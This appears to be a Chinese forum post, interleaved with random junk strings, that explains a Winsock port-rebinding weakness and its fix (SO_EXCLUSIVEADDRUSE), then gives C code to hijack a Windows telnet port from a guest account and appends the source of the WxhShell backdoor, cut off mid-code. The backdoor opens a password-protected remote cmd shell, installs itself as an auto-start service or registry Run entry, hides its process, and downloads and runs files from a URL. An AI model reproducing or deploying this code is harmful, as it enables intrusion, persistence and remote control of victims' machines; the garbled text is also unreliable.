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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: dNJK[1e6 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SV\x2^Ea0 s`
9zW, saddr.sin_family = AF_INET; *!s4#|h z~VA#8> saddr.sin_addr.s_addr = htonl(INADDR_ANY); f1~3y}7^Jq [#9ij3vxd bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); C,IN+@ #JLDj(a? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9C4l@jrF r
2 这意味着什么?意味着可以进行如下的攻击: lP9I\Ge& G0(c@FBK 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ka>RAr J g3Xz- 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <hK$Cf_ PO%]Jme 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I8Zp#'|U "BVz5? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 n~)Y% xe[U D{l.WlA. 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h
|lQTT &^uzg&,; 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5r+0^UAO:J %DV@ 2rC< 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S|>Up%{n[ e:,.-Kvzp` #include wl{p,[] #include `r iv`+J{s #include @Op8^8$` #include 5AjK7[<L DWORD WINAPI ClientThread(LPVOID lpParam); |@@mq!>- int main() ./fEx
'E { ~F(+uJbO WORD wVersionRequested; y\S7oD(OR DWORD ret; 5~44R@` WSADATA wsaData; v =?V{"wk! BOOL val; 5PPy+36<~ SOCKADDR_IN saddr; eY(usK SOCKADDR_IN scaddr; -pD&@Wlwak int err; `?D_=Gw SOCKET s; mhVoz0%1X SOCKET sc; @"/}Al int caddsize; KqSa"76R HANDLE mt; P5d@-l%} DWORD tid; $@Ay0GEI" wVersionRequested = MAKEWORD( 2, 2 ); `-/l$A}
U err = WSAStartup( wVersionRequested, &wsaData ); (jm.vL&5j if ( err != 0 ) { 1tr>D:c\ printf("error!WSAStartup failed!\n"); SQ
Fey~ return -1; n47=eKd70 } <eh(~ saddr.sin_family = AF_INET; xXx`a\i 8;!Eqyt //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 jo(Q`oxm!> C5WCRg5& saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GY",AL8f saddr.sin_port = htons(23); kIfb! if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >C-_Zv<!T\ { c==Oio(" printf("error!socket failed!\n"); *3ne(c return -1; 8x9kF]= } )>Q 2G/@ val = TRUE; o5D" <-=> //SO_REUSEADDR选项就是可以实现端口重绑定的 H4m6H)KOG if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 23f[i<4e { ~`})x(! printf("error!setsockopt failed!\n"); X<m%EXvV return -1; xk*3,J6BK } <?zTnue //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h/fCCfO, //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kr*c?^b //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #w*pWD^ lQsQRp if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {.lF~cOu { E&>,B81 ret=GetLastError(); ,SyUr/D printf("error!bind failed!\n"); !U#++Zig% return -1; x7@WWFF> } YEQW:r_h.S listen(s,2); &CL|q+- while(1) osd^SnL1/5 { I1myu Z caddsize = sizeof(scaddr); gZjOlp //接受连接请求 "pZ3 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g&"(- : if(sc!=INVALID_SOCKET) |x6mkSf]ke { 8Wj=|Ow-q mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); NVjJ/ if(mt==NULL) ;/V@N |$n { Ft7a\vn*B printf("Thread Creat Failed!\n"); N-rmk break; ya{>= } Z0=m:h } L,
{rMLM% CloseHandle(mt); Y/S3)o } 2*citB{ closesocket(s); $CmX
&%L= WSACleanup(); vaj66nV return 0; &5.~XM; } 4Z}bw# DWORD WINAPI ClientThread(LPVOID lpParam) VDTY<= Q { 2\w=U,;( SOCKET ss = (SOCKET)lpParam; 8`G{1lr4o SOCKET sc; &Bn; Vi unsigned char buf[4096]; MA+-2pMc|7 SOCKADDR_IN saddr; ^-IsK#r.k long num; {}pqxouE DWORD val; kppRQ Q*[ DWORD ret; +?iM$}8!U //如果是隐藏端口应用的话,可以在此处加一些判断 ~+#--BhV //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ?*'$(}r3 saddr.sin_family = AF_INET; ,8IAhQa saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); eUkoVr saddr.sin_port = htons(23); JQ_gM._3 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {%_j~ { Ys$YI{ printf("error!socket failed!\n"); , Ln
return -1; 16QbB; } y<`?@(0$ val = 100; q.MVF] if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
xD {
nuQ6X5>.= ret = GetLastError(); Yg)V*%0n return -1; M%{?\)s } g`OOVaB if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R*@[Pg* { jBv$^L ret = GetLastError(); 2 1~7{# return -1; ]zyX@=mM } L)lQ&z? if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~B!O~nvdQ { z9 w&uZzi printf("error!socket connect failed!\n"); ~u0xXfv# closesocket(sc); naIv= closesocket(ss); .NkAD-k` return -1; P/pjy } y5/6nvH_6 while(1) 6!B^xm.R @ { (kC} ,} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 tQ~<i %; //如果是嗅探内容的话,可以再此处进行内容分析和记录 yvz?4m"_yB //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u5Ny=Xm num = recv(ss,buf,4096,0); 5w3 ZUmjO if(num>0) `<J#l;y send(sc,buf,num,0); v
(ka,Dk3 else if(num==0) irsfJUr[V break; _;:rkC fj num = recv(sc,buf,4096,0); +%wWSZ<# if(num>0) lKEX"KQ! send(ss,buf,num,0); ~pevU`}Uqc else if(num==0) s^>lOQ= break; N\q)LM !M } iS"8X#[]N closesocket(ss); uyNJN closesocket(sc); Vd+Q:L return 0 ; 5!AV!A_Jp } d;~ 3P
rer|k<k;]G voV:H[RD9 ========================================================== -+}5ma jJVT_8J 下边附上一个代码,,WXhSHELL &$c5~9p\B i<m$#6<Z ========================================================== +~d1;0l| >`89N'lZBm #include "stdafx.h" MCeu0e^) 0)AM-/" #include <stdio.h> BF36V\ #include <string.h> =4zNo3IvL+ #include <windows.h> vJRnBq+y #include <winsock2.h> W7L+8LU; #include <winsvc.h> t<sNc8x #include <urlmon.h> -\kXH"% e40udLH~x #pragma comment (lib, "Ws2_32.lib") @Y
UY9+D& #pragma comment (lib, "urlmon.lib") $J"%I$%X= EqnpMHF #define MAX_USER 100 // 最大客户端连接数 {pDTy7!Hs #define BUF_SOCK 200 // sock buffer 'Y!pY]Z #define KEY_BUFF 255 // 输入 buffer A XBkJ'jd 7]|zkjgI #define REBOOT 0 // 重启 l(%k6 #define SHUTDOWN 1 // 关机 hCM8/Vvx6 a@#Q:O)4 #define DEF_PORT 5000 // 监听端口 ]U,CKJF%/ fxDj+Q1p #define REG_LEN 16 // 注册表键长度 8xF)_UV #define SVC_LEN 80 // NT服务名长度 qL|
5-(P B6bOEPQ // 从dll定义API H`m:X,6} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oYz!O]j;a typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tAqA^f*{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~BZXt7DE typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j z~[5m}J ;8P_av}C // wxhshell配置信息 [ -ISR7D struct WSCFG { |2)Sd[q int ws_port; // 监听端口 p9-0?(] char ws_passstr[REG_LEN]; // 口令 lC#RNjDp/~ int ws_autoins; // 安装标记, 1=yes 0=no e?V,fzg char ws_regname[REG_LEN]; // 注册表键名 q2e]3{l3 char ws_svcname[REG_LEN]; // 服务名 bj@xqAGl char ws_svcdisp[SVC_LEN]; // 服务显示名 Q,.By& char ws_svcdesc[SVC_LEN]; // 服务描述信息 *hVb5CS char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BeK2;[5C int ws_downexe; // 下载执行标记, 1=yes 0=no fVe@YqNa char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" I%@e@Dm,h char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nr OqH
&<au/^F }; _(C^[ :s QDS0ejhp // default Wxhshell configuration vsKl#R B struct WSCFG wscfg={DEF_PORT, (I4y[jnD "xuhuanlingzhe", v f`9*x F 1, +YTx
"Wxhshell", &Y1`?1;nw "Wxhshell", .APVjqG "WxhShell Service", }A|))Ao| "Wrsky Windows CmdShell Service", Wo{K} "Please Input Your Password: ", I:#Ok+ 1, :pwa{P " http://www.wrsky.com/wxhshell.exe", %>Bko,ET "Wxhshell.exe" AD]e0_E }; =3*Jj`AV {h#6z>p"u2 // 消息定义模块 M% @ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k oM]S+1 char *msg_ws_prompt="\n\r? for help\n\r#>"; t5paYw-b char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; vMhYpt?7\ char *msg_ws_ext="\n\rExit."; :BZMnCfA char *msg_ws_end="\n\rQuit."; R2w`Y5#` char *msg_ws_boot="\n\rReboot..."; Ikj=`,a2B char *msg_ws_poff="\n\rShutdown..."; Y0@yD#,0~ char *msg_ws_down="\n\rSave to "; ~%s}S i\Yl char *msg_ws_err="\n\rErr!"; {I{3 (M#" char *msg_ws_ok="\n\rOK!"; cC%j!8! R4b-M0H char ExeFile[MAX_PATH]; xO7Yt
l int nUser = 0; iK!dr1:wSw HANDLE handles[MAX_USER]; p1D()- int OsIsNt; 9?
2 lUv =7"
[ SERVICE_STATUS serviceStatus; xW>ySEf SERVICE_STATUS_HANDLE hServiceStatusHandle; lkA^\+Ct \~>e_; // 函数声明 /7gi/uh~-( int Install(void); ?Ko|dmX int Uninstall(void); gg[9u- int DownloadFile(char *sURL, SOCKET wsh); |3;(~a)% int Boot(int flag); p<KIF>rf| void HideProc(void); =_
y\Y@J
int GetOsVer(void); xc;DdK=1X int Wxhshell(SOCKET wsl); M)JADX void TalkWithClient(void *cs); KCUU#t|8V\ int CmdShell(SOCKET sock); rB%y6P B int StartFromService(void); s qpGrW. int StartWxhshell(LPSTR lpCmdLine); )11W)G`w \jyjQ,v) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =&Xdm( VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0|XKd24BN =Vb~s+YW // 数据结构和表定义 q[ULGv SERVICE_TABLE_ENTRY DispatchTable[] = &>(gt<C$ { 5 y {wscfg.ws_svcname, NTServiceMain},
6Y1J2n" {NULL, NULL} :)IV!_>'d }; (a.1M8v+Sg S`iR9{+& // 自我安装 !>n|c$=;qk int Install(void) #Fs|f3-@ { "MnSJ2 char svExeFile[MAX_PATH]; YT=eVg53 HKEY key; & Kmy}q
strcpy(svExeFile,ExeFile); aMTFW_w ^Kqf~yS% // 如果是win9x系统,修改注册表设为自启动 .!RavEg+ if(!OsIsNt) { `~h4D(n` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #`ls)-`7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _KN/@(+F RegCloseKey(key); {.CMD9F[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qu~X.pW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zizk7<?L. RegCloseKey(key); lY'N4x7n return 0; oNM?y:O } }`o?/!X } p|qyTeg } ;YyXT"6/p else { KX3KM!* `8:K[gp // 如果是NT以上系统,安装为系统服务 $`ztiVu3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =X1?_~} if (schSCManager!=0) jL>:>r { 1 ] #9
SC_HANDLE schService = CreateService #NN ewzC<* ( NfzF.{nh schSCManager, ^jD1vUL 2: wscfg.ws_svcname, v`DI<Lt wscfg.ws_svcdisp, sx
9uV SERVICE_ALL_ACCESS, 3`F) AWzdr SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =Z,5$6%) SERVICE_AUTO_START, =X(%Svnp SERVICE_ERROR_NORMAL, H&4~Uo.5 svExeFile, n~g LPHY NULL, idc4Cf+4 NULL, \9:wfLF8! NULL, TDNf)Mm NULL, x /mp=
NULL L{8;Ud_2r );
bwiD$ if (schService!=0) E(^0B(JF { v]"L]/" CloseServiceHandle(schService); L}%dCe CloseServiceHandle(schSCManager); s B
20/F strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); edvFQ#,d strcat(svExeFile,wscfg.ws_svcname); +?m0Q;%b if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]lBGyUJn RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6bO~/mpWT~ RegCloseKey(key); a~]bD return 0; 'g)n1 { } Y`GOER } d=3'?l` CloseServiceHandle(schSCManager); 6GL=)0Ah } T!2=*~A } jqnCA<G~B- 3
hKBc0 return 1; }< 5F } kc$)^E7 +wO#'D // 自我卸载 pyZ9OA!PD int Uninstall(void) ~DF:lqwWP { TNwKda+ HKEY key; $m| V :/ aM=D84@ if(!OsIsNt) { ?GT@puJS- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Di5(9]o2 RegDeleteValue(key,wscfg.ws_regname); [A2`]CE<@ RegCloseKey(key); (Ddp|a"b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pm{*.AW1 RegDeleteValue(key,wscfg.ws_regname); T*[
VY1 RegCloseKey(key); w:i:~f . return 0; ,!#ccv+Vm% } Q<(YP.k }
aelO3'UN } _5Bcwa/ else { c64v,Hj9 ,'fxIO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3=0E!e if (schSCManager!=0) K^l:MxO-X { Ms^dRe) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]j<Bo4~Il if (schService!=0) 39i9wrP { ^jE8+h if(DeleteService(schService)!=0) { 3_$w|ET CloseServiceHandle(schService); jXg CloseServiceHandle(schSCManager); BJ}D%nm} return 0; P9Q~r<7n } !CTxVLl"F CloseServiceHandle(schService); XMIbUbUk- } ~B i_7 Q CloseServiceHandle(schSCManager); XGrue6ya } `#P$ ]: } S>Yj@L S$q=;" return 1; 'tgKe!-@ } lSwcL ,:Z^$ // 从指定url下载文件 O[^%{' int DownloadFile(char *sURL, SOCKET wsh) oqd;6[%G { _qwQ;!9 HRESULT hr; ;,h/
char seps[]= "/"; %ysZ5:X char *token; CY:d`4 char *file; ~uWOdm-"[ char myURL[MAX_PATH]; &[vw 0N- char myFILE[MAX_PATH]; (2ot5x}`j Sjj>#}U strcpy(myURL,sURL); =8Jfgq9E token=strtok(myURL,seps); M~e0lg8 while(token!=NULL) k%c{ETdE { thlY0XCq,% file=token; ;|T!#@j token=strtok(NULL,seps); &)d$t'7p } VosZJv=
df}r% i GetCurrentDirectory(MAX_PATH,myFILE); <W8t|jt strcat(myFILE, "\\"); 4*n#yVb/ strcat(myFILE, file); 6fo3:P*O send(wsh,myFILE,strlen(myFILE),0); K)tQ]P send(wsh,"...",3,0); "p&Y^] hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CqMhk if(hr==S_OK) Cwa^"r3P1 return 0; (& "su3z else hXIro return 1; HAz By\M{ f5*k7fg } 4S"\~>< \W5O&G-C // 系统电源模块 `3H4Ajzcc int Boot(int flag) } p
FQRSOZ { .T<=z HANDLE hToken; 3981ie TOKEN_PRIVILEGES tkp; VZr>U*J[: `_I@i]i^ if(OsIsNt) { QfM zF OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OVzt\V*+%W LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e~%
;K4 tkp.PrivilegeCount = 1; Pt:e!qX) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M-L2w" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LsEXM- if(flag==REBOOT) { mYN7kYR}<` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <#=N
m0S$ return 0; /@ !CKh` } :o-,SrORM else { E:sz$\Ht) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {N2g8W: return 0; RoA?p;]< } W:,4 :|3 } 9O`
m,t else { `pf4X/Py if(flag==REBOOT) { 6oaazB^L if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h!~3Dw>,N return 0; o+`6LKg; } 3`d}~v{ else { ?_x
q- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s^0/"j |7 return 0; 4'j
sDcs } F^"_TV0va } sQ6}\ >^q7c8]~g return 1; XZ&KR.C, } +d+@u)6 w\54j)rb // win9x进程隐藏模块 Nk=JBIsKv void HideProc(void) (Fq5IGs { O ,rwP +a&p$\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /kL$4CA if ( hKernel != NULL ) 5$DHn] { q"O.Cbk pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); />¬$> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B]m@:|Q FreeLibrary(hKernel); 4c
oJRqf= } S(S# /MY9
> return; z,qRcO& } ~<<nz9}o_ /,!qFt // 获取操作系统版本 pi=-#g(2 int GetOsVer(void) s2?T5oWU { Q~R
~xz OSVERSIONINFO winfo; Q9I
j\HbA" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); WLF0US' GetVersionEx(&winfo); 8^Hn"v if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Vfv@7@q return 1; 56^+;^f^` else JdIlWJY return 0; WZOY)>K } l"\~yNgk ]k9)G* // 客户端句柄模块 mNmLyU=d int Wxhshell(SOCKET wsl) {x'GJtpb { V.os SOCKET wsh; O: @}lK+H struct sockaddr_in client; m(], r}) DWORD myID; -':Y\:W Hzrtlet while(nUser<MAX_USER) [:xiZ { ~m|Mg9- int nSize=sizeof(client); KIR'$ 6pn~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QO"oEgB`+Z if(wsh==INVALID_SOCKET) return 1; qB)"qFa
DI!V^M[~u handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gpm{m:$L if(handles[nUser]==0) q o<&J f closesocket(wsh); )o\jJrVDf else )p!7#v/@f nUser++; r]OK$Ql } h~C.VJWl WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8$(Dz]v|[& 83;NIE; return 0; }FzqW*4~ } WL` 9~S dw.F5?j`b // 关闭 socket {R/C0-Q^^ void CloseIt(SOCKET wsh) ix#epuN { nXjPx@ closesocket(wsh); gN)c nUser--; ;raN ExitThread(0); B||;' } .VTy[|o K}6dg< // 客户端请求句柄 Cy*|&=>j void TalkWithClient(void *cs) l>Ub!^; { DGevE~ ,f1q)Qf SOCKET wsh=(SOCKET)cs; >~K
qg~ char pwd[SVC_LEN]; @ym/27cRE char cmd[KEY_BUFF]; ^z,_+},a3T char chr[1]; iCHt1VV] int i,j; Bi@&nAhn@ vD 5vbl while (nUser < MAX_USER) { )sho*;_o :ss,Hl if(wscfg.ws_passstr) { XUuu-wm:} if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 97K[(KE //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ljKrj //ZeroMemory(pwd,KEY_BUFF); a>mm+L8y i=0; C&++VRnm while(i<SVC_LEN) { ~rjTF! 5OoN!TEM // 设置超时 }du XC[ 6 fd_set FdRead; 1heS*Fwn' struct timeval TimeOut; "B_K
XL FD_ZERO(&FdRead); cUDoN`fSl, FD_SET(wsh,&FdRead); V/LQ<Yke TimeOut.tv_sec=8; RT>{*E<I TimeOut.tv_usec=0; U%h);!< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xQw7 :18wQ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &-5_f*{ _-5,zPR if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rp5(pV7* pwd =chr[0];
BUwONF if(chr[0]==0xd || chr[0]==0xa) { PQ@L+],C pwd=0; kNqH zo break; [o*7FEM|< } L28*1]\Jh i++; ;Jd3u
- } 6\61~u ~ K(XN-D/c // 如果是非法用户,关闭 socket 8u!"#S#>a if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
&YDK (&> } JsO
*1{6g "bDs2E+W send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d~h:~ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >a3p >2 V5 U?F6 while(1) { %%cHoprDa ={hX}"*D ZeroMemory(cmd,KEY_BUFF); JoSJH35=: OLI$1d_ // 自动支持客户端 telnet标准 eHDef j=0;
^Q&u0;OJ while(j<KEY_BUFF) { [b:e:P 2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V^Hu3aUx8
cmd[j]=chr[0]; J<Pw+6B~ if(chr[0]==0xa || chr[0]==0xd) { L. ]$6Q0 cmd[j]=0; &sF^Fgg{ break; r!,}Z=cGe } fvb=#58N_ j++; tl'n->G>v } C{2xHd/* jq08= // 下载文件 mqq;H} if(strstr(cmd,"http://")) { Qv-@Zt!8 send(wsh,msg_ws_down,strlen(msg_ws_down),0); 97)/"i e if(DownloadFile(cmd,wsh)) s|y:UgD send(wsh,msg_ws_err,strlen(msg_ws_err),0); b*ef); else ':R,53tjl send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7mm1P9Z } f-nz{U else { Y'e eA 2O \p%3vRwS%p switch(cmd[0]) { sZ?mP;Q @,XSs // 帮助 $`Ix:gi case '?': { @AYRiOodi send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J~(Wf%jM~ break; 7^T^($+6s& } zS]8V?` // 安装 7)%+=@ case 'i': { :NJ(r(QG> if(Install()) V34hFa send(wsh,msg_ws_err,strlen(msg_ws_err),0); -[L!3jU else ;l$ \6T send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ITy/eZ"&: break; BPr^D0P } xJ2*LM- // 卸载 Ma|qHg case 'r': { I}2P>)K if(Uninstall()) )!tK[K?5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); =vT<EW}[ else ;Eec5w1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @*
il3h, break; ~zHg[X*
} >c-fI$] // 显示 wxhshell 所在路径 E\; ikX&1 case 'p': { +/D>|loRC char svExeFile[MAX_PATH]; >3u]OSb strcpy(svExeFile,"\n\r"); Dz./w strcat(svExeFile,ExeFile); TE )gVE] send(wsh,svExeFile,strlen(svExeFile),0); `mT$s,:h break; s}j1"@ } H:H6b // 重启 OCy0#aPRS case 'b': { BnRN;bu send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NzKUtwnIz if(Boot(REBOOT)) Ej7 /X ~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Blq8H"3!: else { Vb
qto|X@ closesocket(wsh); h$N0D ! ExitThread(0); w-@6|o,S } sE{ pzPq! break; kM`l } Z/rTVAs@r // 关机 #yI.nzA* case 'd': { PR|R`.QSs send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a?YCn! if(Boot(SHUTDOWN)) V<HU6w send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5PcJZi^.l else { tRpEF2 closesocket(wsh); %zU`XVNN+ ExitThread(0); m*X[ Jtr } 'B0{U4?
break; |w}xl'>q } _tr<}PnZ // 获取shell U}SXJH&&E case 's': { a(]`F(L CmdShell(wsh); L !4t[hhe= closesocket(wsh); Q!,<@b) ExitThread(0); ?OdJqw0,G break; >u%]6_[ } PCn Q_A-Q // 退出 PM":Vd/ case 'x': { )6~1 ^tD send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?[x49Ux,P CloseIt(wsh); {K#NB_*To break; ~el3I=KC} } P'MY[&|mM' // 离开 }bU8G ' case 'q': { /MQU
>& send(wsh,msg_ws_end,strlen(msg_ws_end),0); VDB;%U*D closesocket(wsh); oPc\<$ WSACleanup(); 4(l?uU$ exit(1);
htY=w}> break; *c[2C } S]sk7 } %7`f{|. } !QmzrX}h qW 1V85FG // 提示信息 G,= yc@uq if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :ug4g6;#H0 } fx8EB8A7K7 } QCPID: >s3gqSDR return; A$g+K,.l } G1 o70 ^7]"kg DA // shell模块句柄 fQ>4MKLw=d int CmdShell(SOCKET sock) ]aCk_*U { l!E7AKk8 STARTUPINFO si; #<( = }? ZeroMemory(&si,sizeof(si)); eK /?%t si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TST4Vy3 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7nzGAz_W PROCESS_INFORMATION ProcessInfo; M9!AIHq4 char cmdline[]="cmd"; _B2V "p CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >*twTlb{ return 0; #sKWd } 5W
=(+Q>C TaJB4zB // 自身启动模式 4(?G6y) int StartFromService(void) <b+[<@wS { ,~zj=F typedef struct b=a!j=-D { Y<\^7\[x DWORD ExitStatus; 'cDx{? DWORD PebBaseAddress; cD1o"bq DWORD AffinityMask; &$`hQgi DWORD BasePriority; {+zJI-XN/ ULONG UniqueProcessId; *5$&`&, ULONG InheritedFromUniqueProcessId; AgF5-tz6x } PROCESS_BASIC_INFORMATION; o-7>eE}+ !\[+99F# PROCNTQSIP NtQueryInformationProcess; ~`Qko-a& M^rM-{?< static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
